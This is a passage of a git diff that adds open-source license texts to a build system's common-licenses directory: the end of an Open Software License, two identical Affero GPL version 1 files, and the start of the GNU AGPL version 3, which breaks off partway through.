+WARRANTY AND DISCLAIMERS. LICENSOR WARRANTS THAT THE COPYRIGHT IN AND TO THE ORIGINAL WORK IS OWNED BY THE LICENSOR OR THAT THE ORIGINAL WORK IS DISTRIBUTED BY LICENSOR UNDER A VALID CURRENT LICENSE FROM THE COPYRIGHT OWNER. EXCEPT AS EXPRESSLY STATED IN THE IMMEDIATELY PRECEEDING SENTENCE, THE ORIGINAL WORK IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY, EITHER EXPRESS OR IMPLIED, INCLUDING, WITHOUT LIMITATION, THE WARRANTY OF NON-INFRINGEMENT AND WARRANTIES THAT THE ORIGINAL WORK IS MERCHANTABLE OR FIT FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY OF THE ORIGINAL WORK IS WITH YOU. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO LICENSE TO ORIGINAL WORK IS GRANTED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+LIMITATION OF LIABILITY. UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL THE LICENSOR BE LIABLE TO ANY PERSON FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER ARISING AS A RESULT OF THIS LICENSE OR THE USE OF THE ORIGINAL WORK INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PERSON SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+License to Source Code. The term "Source Code" means the preferred form of the Original Work for making modifications to it and all available documentation describing how to access and modify the Original Work. Licensor hereby agrees to provide a machine-readable copy of the Source Code of the Original Work along with each copy of the Original Work that Licensor distributes. Licensor reserves the right to satisfy this obligation by placing a machine-readable copy of the Source Code in an information repository reasonably calculated to permit inexpensive and convenient access by You for as long as Licensor continues to distribute the Original Work, and by publishing the address of that information repository in a notice immediately following the copyright notice that applies to the Original Work.
+
+Mutual Termination for Patent Action. This License shall terminate automatically and You may no longer exercise any of the rights granted to You by this License if You file a lawsuit in any court alleging that any OSI Certified open source software that is licensed under any license containing this "Mutual Termination for Patent Action" clause infringes any patent claims that are essential to use that software.
+
+This license is Copyright (C) 2002 Lawrence E. Rosen. All rights reserved.
+Permission is hereby granted to copy and distribute this license without modification. This license may not be modified without the express written permission of its copyright owner.
diff --git a/meta/files/common-licenses/AGPL-1.0-only b/meta/files/common-licenses/AGPL-1.0-only
new file mode 100644
index 0000000000..a00f82e601
--- /dev/null
+++ b/meta/files/common-licenses/AGPL-1.0-only
@@ -0,0 +1,86 @@
+AFFERO GENERAL PUBLIC LICENSE
+Version 1, March 2002 Copyright © 2002 Affero Inc. 510 Third Street - Suite 225, San Francisco, CA 94107, USA
+
+This license is a modified version of the GNU General Public License copyright (C) 1989, 1991 Free Software Foundation, Inc. made with their permission. Section 2(d) has been added to cover use of software over a computer network.
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+Preamble
+
+The licenses for most software are designed to take away your freedom to share and change it. By contrast, the Affero General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This Public License applies to most of Affero's software and to any other program whose authors commit to using it. (Some other Affero software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too.
+
+When we speak of free software, we are referring to freedom, not price. This General Public License is designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things.
+
+To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it.
+
+For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.
+
+We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software.
+
+Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations.
+
+Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all.
+
+The precise terms and conditions for copying, distribution and modification follow.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this Affero General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does.
+
+1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:
+
+ a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change.
+ b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License.
+ c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)
+ d) If the Program as you received it is intended to interact with users through a computer network and if, in the version you received, any user interacting with the Program was given the opportunity to request transmission to that user of the Program's complete source code, you must not remove that facility from your modified version of the Program or work based on the Program, and must offer an equivalent opportunity for all users interacting with your Program through a computer network to request immediate transmission by HTTP of the complete source code of your modified version or other derivative work.
+
+These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License.
+
+3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following:
+ a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,
+ b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,
+ c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.
+
+If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code.
+
+4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it.
+
+6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.
+
+7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice.
+
+This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.
+
+8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.
+
+9. Affero Inc. may publish revised and/or new versions of the Affero General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by Affero, Inc. If the Program does not specify a version number of this License, you may choose any version ever published by Affero, Inc.
+
+You may also choose to redistribute modified versions of this program under any version of the Free Software Foundation's GNU General Public License version 3 or higher, so long as that version of the GNU GPL includes terms and conditions substantially equivalent to those of this license.
+
+10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by Affero, Inc., write to us; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally.
+
+NO WARRANTY
+
+11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/AGPL-1.0-or-later b/meta/files/common-licenses/AGPL-1.0-or-later
new file mode 100644
index 0000000000..a00f82e601
--- /dev/null
+++ b/meta/files/common-licenses/AGPL-1.0-or-later
@@ -0,0 +1,86 @@
+AFFERO GENERAL PUBLIC LICENSE
+Version 1, March 2002 Copyright © 2002 Affero Inc. 510 Third Street - Suite 225, San Francisco, CA 94107, USA
+
+This license is a modified version of the GNU General Public License copyright (C) 1989, 1991 Free Software Foundation, Inc. made with their permission. Section 2(d) has been added to cover use of software over a computer network.
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+Preamble
+
+The licenses for most software are designed to take away your freedom to share and change it. By contrast, the Affero General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This Public License applies to most of Affero's software and to any other program whose authors commit to using it. (Some other Affero software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too.
+
+When we speak of free software, we are referring to freedom, not price. This General Public License is designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things.
+
+To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it.
+
+For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.
+
+We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software.
+
+Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations.
+
+Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all.
+
+The precise terms and conditions for copying, distribution and modification follow.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this Affero General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does.
+
+1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:
+
+ a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change.
+ b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License.
+ c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)
+ d) If the Program as you received it is intended to interact with users through a computer network and if, in the version you received, any user interacting with the Program was given the opportunity to request transmission to that user of the Program's complete source code, you must not remove that facility from your modified version of the Program or work based on the Program, and must offer an equivalent opportunity for all users interacting with your Program through a computer network to request immediate transmission by HTTP of the complete source code of your modified version or other derivative work.
+
+These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License.
+
+3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following:
+ a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,
+ b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,
+ c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.
+
+If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code.
+
+4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it.
+
+6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.
+
+7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice.
+
+This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.
+
+8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.
+
+9. Affero Inc. may publish revised and/or new versions of the Affero General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by Affero, Inc. If the Program does not specify a version number of this License, you may choose any version ever published by Affero, Inc.
+
+You may also choose to redistribute modified versions of this program under any version of the Free Software Foundation's GNU General Public License version 3 or higher, so long as that version of the GNU GPL includes terms and conditions substantially equivalent to those of this license.
+
+10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by Affero, Inc., write to us; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally.
+
+NO WARRANTY
+
+11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/AGPL-3.0 b/meta/files/common-licenses/AGPL-3.0-only
index dba13ed2dd..dba13ed2dd 100644
--- a/meta/files/common-licenses/AGPL-3.0
+++ b/meta/files/common-licenses/AGPL-3.0-only
diff --git a/meta/files/common-licenses/AGPL-3.0-or-later b/meta/files/common-licenses/AGPL-3.0-or-later
new file mode 100644
index 0000000000..fe0ef42ff4
--- /dev/null
+++ b/meta/files/common-licenses/AGPL-3.0-or-later
@@ -0,0 +1,613 @@
+GNU AFFERO GENERAL PUBLIC LICENSE
+
+Version 3, 19 November 2007
+
+Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+Preamble
+
+The GNU Affero General Public License is a free, copyleft license for software
+and other kinds of works, specifically designed to ensure cooperation with
+the community in the case of network server software.
+
+The licenses for most software and other practical works are designed to take
+away your freedom to share and change the works. By contrast, our General
+Public Licenses are intended to guarantee your freedom to share and change
+all versions of a program--to make sure it remains free software for all its
+users.
+
+When we speak of free software, we are referring to freedom, not price. Our
+General Public Licenses are designed to make sure that you have the freedom
+to distribute copies of free software (and charge for them if you wish), that
+you receive source code or can get it if you want it, that you can change
+the software or use pieces of it in new free programs, and that you know you
+can do these things.
+
+Developers that use our General Public Licenses protect your rights with two
+steps: (1) assert copyright on the software, and (2) offer you this License
+which gives you legal permission to copy, distribute and/or modify the software.
+
+A secondary benefit of defending all users' freedom is that improvements made
+in alternate versions of the program, if they receive widespread use, become
+available for other developers to incorporate. Many developers of free software
+are heartened and encouraged by the resulting cooperation. However, in the
+case of software used on network servers, this result may fail to come about.
+The GNU General Public License permits making a modified version and letting
+the public access it on a server without ever releasing its source code to
+the public.
+
+The GNU Affero General Public License is designed specifically to ensure that,
+in such cases, the modified source code becomes available to the community.
+It requires the operator of a network server to provide the source code of
+the modified version running there to the users of that server. Therefore,
+public use of a modified version, on a publicly accessible server, gives the
+public access to the source code of the modified version.
+
+An older license, called the Affero General Public License and published by
+Affero, was designed to accomplish similar goals. This is a different license,
+not a version of the Affero GPL, but Affero has released a new version of
+the Affero GPL which permits relicensing under this license.
+
+The precise terms and conditions for copying, distribution and modification
+follow.
+
+TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ "This License" refers to version 3 of the GNU Affero General Public License.
+
+"Copyright" also means copyright-like laws that apply to other kinds of works,
+such as semiconductor masks.
+
+"The Program" refers to any copyrightable work licensed under this License.
+Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals
+or organizations.
+
+To "modify" a work means to copy from or adapt all or part of the work in
+a fashion requiring copyright permission, other than the making of an exact
+copy. The resulting work is called a "modified version" of the earlier work
+or a work "based on" the earlier work.
+
+A "covered work" means either the unmodified Program or a work based on the
+Program.
+
+To "propagate" a work means to do anything with it that, without permission,
+would make you directly or secondarily liable for infringement under applicable
+copyright law, except executing it on a computer or modifying a private copy.
+Propagation includes copying, distribution (with or without modification),
+making available to the public, and in some countries other activities as
+well.
+
+To "convey" a work means any kind of propagation that enables other parties
+to make or receive copies. Mere interaction with a user through a computer
+network, with no transfer of a copy, is not conveying.
+
+An interactive user interface displays "Appropriate Legal Notices" to the
+extent that it includes a convenient and prominently visible feature that
+(1) displays an appropriate copyright notice, and (2) tells the user that
+there is no warranty for the work (except to the extent that warranties are
+provided), that licensees may convey the work under this License, and how
+to view a copy of this License. If the interface presents a list of user commands
+or options, such as a menu, a prominent item in the list meets this criterion.
+
+ 1. Source Code.
+
+The "source code" for a work means the preferred form of the work for making
+modifications to it. "Object code" means any non-source form of a work.
+
+A "Standard Interface" means an interface that either is an official standard
+defined by a recognized standards body, or, in the case of interfaces specified
+for a particular programming language, one that is widely used among developers
+working in that language.
+
+The "System Libraries" of an executable work include anything, other than
+the work as a whole, that (a) is included in the normal form of packaging
+a Major Component, but which is not part of that Major Component, and (b)
+serves only to enable use of the work with that Major Component, or to implement
+a Standard Interface for which an implementation is available to the public
+in source code form. A "Major Component", in this context, means a major essential
+component (kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to produce
+the work, or an object code interpreter used to run it.
+
+The "Corresponding Source" for a work in object code form means all the source
+code needed to generate, install, and (for an executable work) run the object
+code and to modify the work, including scripts to control those activities.
+However, it does not include the work's System Libraries, or general-purpose
+tools or generally available free programs which are used unmodified in performing
+those activities but which are not part of the work. For example, Corresponding
+Source includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically linked
+subprograms that the work is specifically designed to require, such as by
+intimate data communication or control flow between those
+
+ subprograms and other parts of the work.
+
+The Corresponding Source need not include anything that users can regenerate
+automatically from other parts of the Corresponding Source.
+
+ The Corresponding Source for a work in source code form is that same work.
+
+ 2. Basic Permissions.
+
+All rights granted under this License are granted for the term of copyright
+on the Program, and are irrevocable provided the stated conditions are met.
+This License explicitly affirms your unlimited permission to run the unmodified
+Program. The output from running a covered work is covered by this License
+only if the output, given its content, constitutes a covered work. This License
+acknowledges your rights of fair use or other equivalent, as provided by copyright
+law.
+
+You may make, run and propagate covered works that you do not convey, without
+conditions so long as your license otherwise remains in force. You may convey
+covered works to others for the sole purpose of having them make modifications
+exclusively for you, or provide you with facilities for running those works,
+provided that you comply with the terms of this License in conveying all material
+for which you do not control copyright. Those thus making or running the covered
+works for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of your copyrighted
+material outside their relationship with you.
+
+Conveying under any other circumstances is permitted solely under the conditions
+stated below. Sublicensing is not allowed; section 10 makes it unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+No covered work shall be deemed part of an effective technological measure
+under any applicable law fulfilling obligations under article 11 of the WIPO
+copyright treaty adopted on 20 December 1996, or similar laws prohibiting
+or restricting circumvention of such measures.
+
+When you convey a covered work, you waive any legal power to forbid circumvention
+of technological measures to the extent such circumvention is effected by
+exercising rights under this License with respect to the covered work, and
+you disclaim any intention to limit operation or modification of the work
+as a means of enforcing, against the work's users, your or third parties'
+legal rights to forbid circumvention of technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+You may convey verbatim copies of the Program's source code as you receive
+it, in any medium, provided that you conspicuously and appropriately publish
+on each copy an appropriate copyright notice; keep intact all notices stating
+that this License and any non-permissive terms added in accord with section
+7 apply to the code; keep intact all notices of the absence of any warranty;
